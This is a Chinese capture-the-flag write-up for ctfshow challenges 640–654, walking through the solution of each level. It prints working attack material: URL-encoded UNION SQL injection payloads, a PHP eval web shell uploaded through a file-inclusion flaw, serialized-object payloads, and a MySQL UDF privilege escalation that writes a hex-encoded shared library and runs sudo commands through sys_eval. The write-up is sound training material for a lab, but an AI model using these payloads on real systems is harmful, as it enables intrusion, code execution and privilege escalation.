ctfshow-终极考核（640-654）
终极考核
其实早有各位大佬博客珠玉在前，奈何讲的不是很详细，对大佬一带而过，一点就通的知识，我感觉很是困难，因此写博客详细记录自己的历程。
640
打开网站就有640的flag
641
刷新，抓包
642
访问system32d（为什么访问在644解释），发现有个跳转，提前抓包
643
访问/system36d/secret.txt即可获得
（这里可以扫后台，也可以用后面的命令执行来找到该文件）
644
观察前端代码
发现一个奇怪的路径system36d，尝试访问，让你登入
查看签到js，发现644flag
同时访问js里的
checklogin.php?s=10
进入管理界面
645
管理界面点击数据备份，即可获得645flag
646
在更新界面ssrf
抓包，改一下访问路径（路径可以在网络测试功能里面用ls看到），发包
可以用这个方法获得各界面源码，后面不赘述
647
审计user.php
function evilString($m){ $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE){ echo shell_exec('cat /FLAG/FLAG647'); }else{ echo 'you are not 372619038?'; } }
具体可见新春欢乐赛的web2，本质是通过设置sessionid的值，在通过session_id这个无参函数来获得目标值
648
继续审计user.php
function evilClass($m,$k){ class ctfshow{ public $m; public function construct($m){ $this->$m=$m; } } $ctfshow=new ctfshow($m); $ctfshow->$m=$m; if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){ echo shell_exec('cat /FLAG/FLAG648'); }else{ echo 'mmmmm?'; } }
意义不明，访问
users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
即可获得flag
649
function evilNumber($m,$k){ $number = getArray(1000,20,10,999); print_r($number); print_r($number[$m]); if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){ echo shell_exec('cat /FLAG/FLAG649'); }else{ echo 'number is right?'; } }
代码很简单，不说了，两种办法，一种就是爆破
或者不传m，这样就是null==null
650
同647
651
这两个函数对类也生效，同时不能真的传数组，过不了第一个检查
<?php
class a
{
public $username='username';
public $ctfshow='ctfshow';
}
$aa=new a;
$t=serialize($aa);
print_r(($t));
payload:
http://98758944-e6b7-4296-836d-64b7da0178fa.challenge.ctf.show/system36d/users.php?action=evilArray&m=O:1:%22a%22:2:{s:8:%22username%22;s:8:%22username%22;s:7:%22ctfshow%22;s:7:%22ctfshow%22;}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
652
访问这个界面的源码
接下来访问system36d/util/dbutil.php的源码
page.php
dbutil.php
这里试一下会发现被过滤了information_schema.，改用mysql.innodb_table_stats
/page.php?id=222)%20union%20select%20group_concat(table_name)%20from%20mysql.innodb_table_stats%20where%20database_name%20=%20database()%23
page.php?id=222)%20union%20(select%20*%20from`ctfshow_secret`)%20%23
653
查看init.php的源码
发现包含一个common.php的文件，尝试访问
需要key，在652的注入点注入，获得key
page.php?id=222)%20union%20(select%20*%20from`ctfshow_keys`)%20%23
获得key：key_is_here_you_know
发现这里有个文件包含
在这里上传文件，内容是
<?php eval($_POST['1']);?>
在init.php可以看到db路径
结合user.php，可知路径为/db/data_you_never_know.db
蚁剑连接
权限较低，直接命令行cd /,cat
654
蚁剑连接数据库，账号密码都是root，执行
show variables like "%secure%"
secure_file_priv 为/root/，意味这可以用UDF提权获得root权限，udf提权就是我们上传一个.so文件到指定路径来当作外部函数，然后我们可以引用这个.so来当作函数利用，这里我们传入一个高权限的.so指令，再在mysql里面调用这个函数即可。
那么这个.so在哪呢，可以在sqlmap里面来找，这里路径是
sqlmap路径\data\udf\mysql\linux\64\lib_mysqludf_sys.so_
获得plugin路径，这里是.so上传路径
上传udf.so(sqlmap那个上传貌似没用)
POST /system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} HTTP/1.1
Host: 4dccf3a9-ea91-4820-b6d5-52bf75bf5fb9.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Content-Length: 15589
file=../db/data_you_never_know.db&key=key_is_here_you_know&1=file_put_contents('udf.so',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010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cp /var/www/html/system36d/util/udf.so /usr/lib/mariadb/plugin/udf.so
依次执行
create function sys_eval returns string soname 'udf.so'; select * from mysql.func where name = 'sys_eval'; select sys_eval('sudo ls /root');
select sys_eval('sudo cat /root/you_win');
至此，网站部分结束。
